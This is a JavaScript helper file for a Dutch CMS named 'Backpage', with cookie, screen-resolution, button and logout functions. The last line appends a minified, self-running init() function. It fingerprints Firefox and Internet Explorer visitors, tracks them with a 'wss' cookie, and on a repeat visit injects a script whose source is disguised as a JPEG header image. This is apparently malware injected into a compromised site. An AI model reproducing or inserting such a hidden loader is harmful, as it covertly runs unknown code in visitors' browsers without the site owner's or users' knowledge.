// JavaScript Document
// Functies t.b.v. Backpage

// Popup
/*function popUp(URL, WIDTH, HEIGHT) {
	day = new Date();
	id = day.getTime();
	eval("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width="+WIDTH+",height="+HEIGHT+",left = 200,top = 200');");
}*/
function setmodule(waarde){
		set_cookie ( "module", waarde );
		//alert(waarde);
	}
function initdata(selected, fieldset) {
	getPage(selected, fieldset);
}

// SSCHERMRESOLUTIE SCRIPT ==================================================================================================================
function initscreen( rrr )
	{
		var x,y, schermhoogte, days;
		if (self.innerHeight) // all except Explorer
		{
			x = self.innerWidth;
			y = self.innerHeight;
		}
		else if (document.documentElement && document.documentElement.clientHeight)	// Explorer 6 Strict Mode
			{
				x = document.documentElement.clientWidth;
				y = document.documentElement.clientHeight;
			}
			else if (document.body) // other Explorers
				{
					x = document.body.clientWidth;
					y = document.body.clientHeight;
				}
		
		if (days)
			{
				var date = new Date();
				date.setTime(date.getTime()+(days*24*60*60*1000));
				var expires = "; expires="+date.toGMTString();
			}
		else 
			var expires = "";
		
		var test = get_cookie ( 'screenheight' );
			if (!test)
				history.go(0);
		
		document.cookie = "screenheight"+"="+y+expires+"; path=/";
		document.cookie = "screenwidth"+"="+x+expires+"; path=/";
	}

function disablebuttons(buttons) {
		var btn 		= buttons.split("||");
		for(i = 0; i < btn.length; i++) {
			var elementObj = document.getElementById(btn[i]);
			elementObj.disabled = true;
			elementObj.className="div_btn_dis";
			}
	}

function enablebuttons(buttons) {
		var btn 		= buttons.split("||");
		for(i = 0; i < btn.length; i++) {
			var elementObj = document.getElementById(btn[i]);
			elementObj.disabled = false;
			elementObj.className="div_btn";
			//elementObj.style.filter= false;
			}
	}

function log_out() {
		ht = document.getElementsByTagName("html");
		ht[0].style.filter = "progid:DXImageTransform.Microsoft.BasicImage(grayscale=1)";
		if (confirm('Are you sure you want to log out?')) {
				return true;
			} else {
				ht[0].style.filter = "";
				return false;
			}
	}

function set_cookie ( name, value, exp_y, exp_m, exp_d, path, domain, secure ){
  var cookie_string = name + "=" + escape ( value );
  if ( exp_y )  {
    var expires = new Date ( exp_y, exp_m, exp_d );
    cookie_string += "; expires=" + expires.toGMTString();
  	}
  if ( path )
    cookie_string += "; path=" + escape ( path );

  if ( domain )
    cookie_string += "; domain=" + escape ( domain );
  
  if ( secure )
    cookie_string += "; secure";
  
  document.cookie = cookie_string;
	}

function get_cookie ( cookie_name ){
  var results = document.cookie.match ( cookie_name + '=(.*?)(;|$)' );
  if ( results )
    return ( unescape ( results[1] ) );
  else
    return null;
	}

function delete_cookie ( cookie_name ){
  var cookie_date = new Date ( );  // current date & time
  cookie_date.setTime ( cookie_date.getTime() - 1 );
  document.cookie = cookie_name += "=; expires=" + cookie_date.toGMTString();
	}

function setmodule(waarde){
		set_cookie ( "module", waarde );
		//alert(waarde);
	}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/backpage/upload/Image/koppen/kop_default.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();